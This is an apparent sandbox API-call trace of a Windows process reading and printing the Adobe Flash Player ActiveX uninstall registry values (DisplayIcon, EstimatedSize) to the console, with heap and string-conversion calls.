[0146.789] __iob_func () returned 0x7fefd702a80 [0146.789] _fileno (_File=0x7fefd702ab0) returned 1 [0146.789] _errno () returned 0xc4bb0 [0146.789] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.789] _errno () returned 0xc4bb0 [0146.789] GetFileType (hFile=0x50) returned 0x1 [0146.789] lstrlenW (lpString="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil64_11_2_202_233_ActiveX.exe -maintain activex") returned 89 [0146.789] GetConsoleOutputCP () returned 0x1b5 [0146.789] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil64_11_2_202_233_ActiveX.exe -maintain activex", cchWideChar=89, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 89 [0146.789] GetConsoleOutputCP () returned 0x1b5 [0146.789] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil64_11_2_202_233_ActiveX.exe -maintain activex", cchWideChar=89, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil64_11_2_202_233_ActiveX.exe -maintain activex", lpUsedDefaultChar=0x0) returned 89 [0146.789] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 89 [0146.789] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.789] __iob_func () returned 0x7fefd702a80 [0146.789] _fileno (_File=0x7fefd702ab0) returned 1 [0146.789] _errno () returned 0xc4bb0 [0146.789] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.789] _errno () returned 0xc4bb0 [0146.789] GetFileType (hFile=0x50) returned 0x1 [0146.789] lstrlenW (lpString="\n") returned 1 [0146.789] GetConsoleOutputCP () returned 0x1b5 [0146.789] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.789] GetConsoleOutputCP () returned 0x1b5 [0146.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.790] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.790] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.790] GetProcessHeap () returned 0x2e0000 [0146.790] GetProcessHeap () returned 0x2e0000 [0146.790] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70) returned 1 [0146.790] GetProcessHeap () returned 0x2e0000 [0146.790] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd70) returned 0xb8 [0146.790] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70 | out: hHeap=0x2e0000) returned 1 [0146.790] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.790] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x92) returned 0x0 [0146.790] GetProcessHeap () returned 0x2e0000 [0146.790] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x94) returned 0x2fcd70 [0146.790] GetProcessHeap () returned 0x2e0000 [0146.790] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70) returned 1 [0146.790] GetProcessHeap () returned 0x2e0000 [0146.790] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd70) returned 0x94 [0146.790] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcd70, pcbData=0x23f670*=0x92 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil64_11_2_202_233_ActiveX.exe", pcbData=0x23f670*=0x90) returned 0x0 [0146.790] __iob_func () returned 0x7fefd702a80 [0146.790] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.790] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.790] _fileno (_File=0x7fefd702ab0) returned 1 [0146.790] _errno () returned 0xc4bb0 [0146.790] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.790] _errno () returned 0xc4bb0 [0146.790] GetFileType (hFile=0x50) returned 0x1 [0146.790] lstrlenW (lpString=" ") returned 4 [0146.790] GetConsoleOutputCP () returned 0x1b5 [0146.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.791] GetConsoleOutputCP () returned 0x1b5 [0146.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.791] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.791] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.791] lstrlenW (lpString="DisplayIcon") returned 11 [0146.791] __iob_func () returned 0x7fefd702a80 [0146.791] _fileno (_File=0x7fefd702ab0) returned 1 [0146.791] _errno () returned 0xc4bb0 [0146.791] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.791] _errno () returned 0xc4bb0 [0146.791] GetFileType (hFile=0x50) returned 0x1 [0146.791] lstrlenW (lpString="DisplayIcon") returned 11 [0146.791] GetConsoleOutputCP () returned 0x1b5 [0146.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0146.791] GetConsoleOutputCP () returned 0x1b5 [0146.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0146.791] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0146.791] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.791] __iob_func () returned 0x7fefd702a80 [0146.791] _fileno (_File=0x7fefd702ab0) returned 1 [0146.791] _errno () returned 0xc4bb0 [0146.791] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.791] _errno () returned 0xc4bb0 [0146.791] GetFileType (hFile=0x50) returned 0x1 [0146.791] lstrlenW (lpString=" ") returned 4 [0146.792] GetConsoleOutputCP () returned 0x1b5 [0146.792] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.792] GetConsoleOutputCP () returned 0x1b5 [0146.792] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.792] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.792] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.792] __iob_func () returned 0x7fefd702a80 [0146.792] _fileno (_File=0x7fefd702ab0) returned 1 [0146.792] _errno () returned 0xc4bb0 [0146.792] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.792] _errno () returned 0xc4bb0 [0146.792] GetFileType (hFile=0x50) returned 0x1 [0146.792] lstrlenW (lpString="REG_SZ") returned 6 [0146.792] GetConsoleOutputCP () returned 0x1b5 [0146.792] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.792] GetConsoleOutputCP () returned 0x1b5 [0146.792] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.793] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.793] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.793] __iob_func () returned 0x7fefd702a80 [0146.793] _fileno (_File=0x7fefd702ab0) returned 1 [0146.793] _errno () returned 0xc4bb0 [0146.793] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.793] _errno () returned 0xc4bb0 [0146.793] GetFileType (hFile=0x50) returned 0x1 [0146.793] lstrlenW (lpString=" ") returned 4 [0146.793] GetConsoleOutputCP () returned 0x1b5 [0146.793] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.793] GetConsoleOutputCP () returned 0x1b5 [0146.793] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.793] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.793] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.793] __iob_func () returned 0x7fefd702a80 [0146.793] _fileno (_File=0x7fefd702ab0) returned 1 [0146.793] _errno () returned 0xc4bb0 [0146.793] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.793] _errno () returned 0xc4bb0 [0146.793] GetFileType (hFile=0x50) returned 0x1 [0146.793] lstrlenW (lpString="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil64_11_2_202_233_ActiveX.exe") returned 71 [0146.793] GetConsoleOutputCP () returned 0x1b5 [0146.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil64_11_2_202_233_ActiveX.exe", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0146.794] GetConsoleOutputCP () returned 0x1b5 [0146.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil64_11_2_202_233_ActiveX.exe", cchWideChar=71, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil64_11_2_202_233_ActiveX.exe", lpUsedDefaultChar=0x0) returned 71 [0146.794] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 71 [0146.794] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.794] __iob_func () returned 0x7fefd702a80 [0146.794] _fileno (_File=0x7fefd702ab0) returned 1 [0146.794] _errno () returned 0xc4bb0 [0146.794] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.794] _errno () returned 0xc4bb0 [0146.794] GetFileType (hFile=0x50) returned 0x1 [0146.794] lstrlenW (lpString="\n") returned 1 [0146.794] GetConsoleOutputCP () returned 0x1b5 [0146.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.794] GetConsoleOutputCP () returned 0x1b5 [0146.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.794] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.794] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.794] GetProcessHeap () returned 0x2e0000 [0146.794] GetProcessHeap () returned 0x2e0000 [0146.795] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70) returned 1 [0146.795] GetProcessHeap () returned 0x2e0000 [0146.795] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd70) returned 0x94 [0146.795] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70 | out: hHeap=0x2e0000) returned 1 [0146.795] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.795] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.795] GetProcessHeap () returned 0x2e0000 [0146.795] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fb7d0 [0146.795] GetProcessHeap () returned 0x2e0000 [0146.795] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.795] GetProcessHeap () returned 0x2e0000 [0146.795] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x6 [0146.795] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fb7d0*=0x1800, pcbData=0x23f670*=0x4) returned 0x0 [0146.795] __iob_func () returned 0x7fefd702a80 [0146.795] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.795] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.795] _fileno (_File=0x7fefd702ab0) returned 1 [0146.795] _errno () returned 0xc4bb0 [0146.795] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.795] _errno () returned 0xc4bb0 [0146.795] GetFileType (hFile=0x50) returned 0x1 [0146.795] lstrlenW (lpString=" ") returned 4 [0146.795] GetConsoleOutputCP () returned 0x1b5 [0146.795] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.795] GetConsoleOutputCP () returned 0x1b5 [0146.795] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.795] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.796] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.796] lstrlenW (lpString="EstimatedSize") returned 13 [0146.796] __iob_func () returned 0x7fefd702a80 [0146.796] _fileno (_File=0x7fefd702ab0) returned 1 [0146.796] _errno () returned 0xc4bb0 [0146.796] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.796] _errno () returned 0xc4bb0 [0146.796] GetFileType (hFile=0x50) returned 0x1 [0146.796] lstrlenW (lpString="EstimatedSize") returned 13 [0146.796] GetConsoleOutputCP () returned 0x1b5 [0146.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0146.796] GetConsoleOutputCP () returned 0x1b5 [0146.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0146.796] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0146.796] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.796] __iob_func () returned 0x7fefd702a80 [0146.796] _fileno (_File=0x7fefd702ab0) returned 1 [0146.796] _errno () returned 0xc4bb0 [0146.796] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.796] _errno () returned 0xc4bb0 [0146.796] GetFileType (hFile=0x50) returned 0x1 [0146.796] lstrlenW (lpString=" ") returned 4 [0146.796] GetConsoleOutputCP () returned 0x1b5 [0146.797] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.797] GetConsoleOutputCP () returned 0x1b5 [0146.797] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.797] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.797] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.797] __iob_func () returned 0x7fefd702a80 [0146.797] _fileno (_File=0x7fefd702ab0) returned 1 [0146.797] _errno () returned 0xc4bb0 [0146.797] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.797] _errno () returned 0xc4bb0 [0146.797] GetFileType (hFile=0x50) returned 0x1 [0146.797] lstrlenW (lpString="REG_DWORD") returned 9 [0146.797] GetConsoleOutputCP () returned 0x1b5 [0146.797] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.797] GetConsoleOutputCP () returned 0x1b5 [0146.797] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.797] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.797] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.797] __iob_func () returned 0x7fefd702a80 [0146.797] _fileno (_File=0x7fefd702ab0) returned 1 [0146.797] _errno () returned 0xc4bb0 [0146.797] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.798] _errno () returned 0xc4bb0 [0146.798] GetFileType (hFile=0x50) returned 0x1 [0146.798] lstrlenW (lpString=" ") returned 4 [0146.798] GetConsoleOutputCP () returned 0x1b5 [0146.798] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.798] GetConsoleOutputCP () returned 0x1b5 [0146.798] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.798] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.798] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.798] __iob_func () returned 0x7fefd702a80 [0146.798] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.798] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1800") returned 6 [0146.798] _fileno (_File=0x7fefd702ab0) returned 1 [0146.798] _errno () returned 0xc4bb0 [0146.798] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.798] _errno () returned 0xc4bb0 [0146.798] GetFileType (hFile=0x50) returned 0x1 [0146.798] lstrlenW (lpString="0x1800") returned 6 [0146.798] GetConsoleOutputCP () returned 0x1b5 [0146.798] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1800", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.798] GetConsoleOutputCP () returned 0x1b5 [0146.799] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1800", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1800", lpUsedDefaultChar=0x0) returned 6 [0146.799] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.799] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.799] __iob_func () returned 0x7fefd702a80 [0146.799] _fileno (_File=0x7fefd702ab0) returned 1 [0146.799] _errno () returned 0xc4bb0 [0146.799] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.799] _errno () returned 0xc4bb0 [0146.799] GetFileType (hFile=0x50) returned 0x1 [0146.799] lstrlenW (lpString="\n") returned 1 [0146.799] GetConsoleOutputCP () returned 0x1b5 [0146.799] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.799] GetConsoleOutputCP () returned 0x1b5 [0146.799] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.799] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.799] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.799] GetProcessHeap () returned 0x2e0000 [0146.799] GetProcessHeap () returned 0x2e0000 [0146.799] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.799] GetProcessHeap () returned 0x2e0000 [0146.799] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x6 [0146.799] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.799] __iob_func () returned 0x7fefd702a80 [0146.799] _fileno (_File=0x7fefd702ab0) returned 1 [0146.800] _errno () returned 0xc4bb0 [0146.800] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.800] _errno () returned 0xc4bb0 [0146.800] GetFileType (hFile=0x50) returned 0x1 [0146.800] lstrlenW (lpString="\n") returned 1 [0146.800] GetConsoleOutputCP () returned 0x1b5 [0146.800] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.800] GetConsoleOutputCP () returned 0x1b5 [0146.800] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.800] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.800] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.800] GetProcessHeap () returned 0x2e0000 [0146.800] GetProcessHeap () returned 0x2e0000 [0146.800] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0146.800] GetProcessHeap () returned 0x2e0000 [0146.800] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x24 [0146.800] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0146.800] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.800] GetProcessHeap () returned 0x2e0000 [0146.800] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fb7d0 [0146.800] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player ActiveX") returned 97 [0146.800] GetProcessHeap () returned 0x2e0000 [0146.800] RtlAllocateHeap 